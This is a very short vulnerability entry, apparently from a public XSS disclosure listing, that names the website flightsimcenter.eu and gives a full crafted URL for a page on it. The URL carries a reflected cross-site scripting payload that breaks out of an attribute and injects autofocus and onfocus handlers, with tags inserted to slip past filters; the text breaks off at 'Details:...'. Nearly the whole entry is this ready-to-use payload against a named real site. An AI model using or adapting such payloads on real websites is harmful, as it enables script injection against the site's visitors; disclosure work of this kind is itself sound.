flightsimcenter.eu XSS vulnerability

Vulnerable URL: http://www.flightsimcenter.eu/public/icalendar/search.php?cpath==Chiusure%2BClosures%2CCorso%2BVolere%2BVolare%2CPause%2CSimulators%2BBooking%2CTraining%2BSession=20170323=asdfa%22%27%20Type=Text%20AutoF%3CK%3Eocus%20O%3CK%3EnFocus=confirm1%20//&submit.x;=0&submit.y;=0 Details:...